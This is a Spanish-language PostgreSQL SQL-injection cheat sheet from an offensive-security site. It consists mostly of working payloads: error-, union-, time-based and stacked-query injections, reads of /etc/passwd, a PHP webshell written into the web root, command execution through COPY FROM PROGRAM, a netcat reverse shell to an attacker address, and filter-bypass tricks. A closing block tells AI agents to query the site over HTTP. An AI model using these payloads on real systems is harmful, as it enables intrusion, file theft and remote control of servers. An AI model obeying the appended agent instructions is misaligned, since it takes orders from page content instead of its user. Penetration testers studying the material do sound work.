# PostgreSQL

## Enumeración <a href="#enumeracion" id="enumeracion"></a>

### Versión <a href="#enumeracion-version" id="enumeracion-version"></a>

```sql
# Versión
SELECT version()
```

### Usuarios <a href="#enumeracion-usuarios" id="enumeracion-usuarios"></a>

```sql
# Usuario actual
SELECT current_user
```

### Privilegios <a href="#enumeracion-privilegios" id="enumeracion-privilegios"></a>

```sql
# Privilegio de superusuario
SELECT current_setting('is_superuser')
```

### Bases de datos <a href="#enumeracion-bases-de-datos" id="enumeracion-bases-de-datos"></a>

```sql
# Listado de base de datos
SELECT datname FROM pg_database
```

### Tablas <a href="#enumeracion-tablas" id="enumeracion-tablas"></a>

```sql
# Tablas de una base de datos
SELECT table_name FROM <database>.information_schema.tables WHERE table_schema='public'
```

### Columnas <a href="#enumeracion-columnas" id="enumeracion-columnas"></a>

```sql
# Columnas de una tabla
SELECT column_name,data_type FROM <database>.information_schema.columns WHERE table_name='<table>'
```

### Datos <a href="#enumeracion-datos" id="enumeracion-datos"></a>

```sql
# Datos de una tabla
SELECT * FROM <table>
SELECT * FROM <database>.<schema>.<table>
```

## Error-based SQLi <a href="#error-based-sqli" id="error-based-sqli"></a>

```sql
# Versión
CAST(version() AS INT)
' AND 1=(SELECT CAST(version() AS INT))
```

```sql
# Listado de base de datos
CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
```

```sql
# Tablas de una base de datos
CAST((SELECT STRING_AGG(table_name,',') FROM <database>.information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(table_name,',') FROM <database>.information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
```

```sql
# Columnas de una tabla
CAST((SELECT STRING_AGG(column_name,',') FROM <database>.information_schema.columns WHERE table_name='<table>' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(column_name,',') FROM <database>.information_schema.columns WHERE table_name='<table>' LIMIT 1) AS INT)
```

```sql
# Datos de una table (Error-based SQLi + Stacked Queries SQLi)
';SELECT CAST(CAST(QUERY_TO_XML('SELECT * FROM <table> LIMIT 3',TRUE,TRUE,'') AS TEXT) AS INT)
```

## Union-based SQLi <a href="#union-based-sqli" id="union-based-sqli"></a>

### Obtener información dentro de una sola columna <a href="#union-based-sqli-obtener-informacion-dentro-de-una-sola-columna" id="union-based-sqli-obtener-informacion-dentro-de-una-sola-columna"></a>

```sql
UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -
```

## Time-based SQLi

```sql
|| (SELECT 1 FROM PG_SLEEP(10))
```

## Stacked Queries SQLi <a href="#stacked-queries-sqli" id="stacked-queries-sqli"></a>

```sql
;SELECT version()
;SELECT * FROM <table>
;INSERT INTO <table> (column1, column2, column3) VALUES (value1, value2, value3)
```

## Lectura y escritura de archivos

Para realizar operaciones de lectura y escritura de archivos mediante el comando `COPY`, el usuario debe contar con privilegios de superusuario o, alternativamente, poseer los roles `pg_read_server_files` y `pg_write_server_files`, respectivamente.

```sql
# Privilegio de superusuario
SELECT current_setting('is_superuser')

# Roles pg_read_server_files / pg_write_server_files
SELECT r.rolname, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) AS memberof FROM pg_catalog.pg_roles r WHERE r.rolname='fileuser';
```

### Lectura <a href="#lectura-de-archivos" id="lectura-de-archivos"></a>

```sql
SELECT pg_read_file('/etc/passwd')
```

```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;
```

Un inconveniente al usar el comando `COPY` para leer archivos es que espera que los datos estén separados por columnas, usando por defecto el carácter de tabulación `\t` como delimitador. Sin embargo, se puede cambiar este delimitador por otro carácter poco común, como `\x07`, para evitar errores durante la lectura.

```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/hosts' DELIMITER E'\x07';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;
```

#### Lectura con Large Objects

```sql
# Carga de archivo
SELECT lo_import('/etc/passwd');

# Obtener todos los object IDs
SELECT DISTINCT loid FROM pg_largeobject;

# Lectura de archivo
## Opción 1
SELECT lo_get(<object-id>);
## Opción 2
SELECT data FROM pg_largeobject WHERE loid=<object-id> AND pageno=0;
SELECT data FROM pg_largeobject WHERE loid=<object-id> AND pageno=1;
## Conversión de hexadecimal
echo <hexadecimal> | xxd -r -p
```

### Escritura <a href="#escritura-de-archivos" id="escritura-de-archivos"></a>

```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
COPY tmp (data) TO '/var/tmp/temp.txt';
DROP TABLE tmp;
```

#### Webshell <a href="#escritura-de-archivos-webshell" id="escritura-de-archivos-webshell"></a>

```sql
CREATE TABLE tmp(data TEXT);
INSERT INTO tmp(data) VALUES ('<?php echo system($_GET["cmd"]); ?>');
COPY tmp(data) TO '/var/www/html/webshell.php';
```

#### Escritura con Large Objects

```bash
split -b 2048 /etc/passwd
xxd -ps -c 9999999999 xaa
xxd -ps -c 9999999999 xab
```

```sql
SELECT lo_create(1337);
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 0, DECODE('<hexadecimal>','HEX'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 1, DECODE('<hexadecimal>','HEX'));
SELECT lo_export(1337, '/tmp/passwd');
SELECT lo_unlink(1337);
cat /tmp/passwd
```

## Remote Code Execution (RCE)

Para usar COPY con ejecución de comandos, el usuario debe contar con privilegios de superusuario o tener el rol `pg_execute_server_program`.

```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM PROGRAM 'id';
SELECT * FROM tmp;
DROP TABLE tmp;
```

### Reverse shell

Ejecución de Netcat en máquina atacante en modo escucha.

```sh
nc -lvnp <listen-port>
```

Ejecución de reverse shell.

```sql
;CREATE TABLE revshell(data TEXT); COPY revshell FROM PROGRAM 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-IP-address> <listen-port> >/tmp/f';SELECT * FROM revshell; DROP TABLE revshell;-- -
```

## Evasión de filtros

### Bypass de filtro de espacio

Usar `/**/` en lugar de espacio.

```sql
' AND 1=1-- -
'/**/AND/**/1=1-- -
```

### Bypass de filtro de comillas simples (single quotes)

En PostgreSQL los dos signos de dólar `$$` se utilizan para delimitar cadenas de texto.

```sql
' UNION SELECT '1','2','3'-- -
' UNION SELECT $$1$$,$$2$$,$$3$$-- -
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web.mrw0l05zyn.cl/explotacion/sql-injection-sqli/postgresql.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
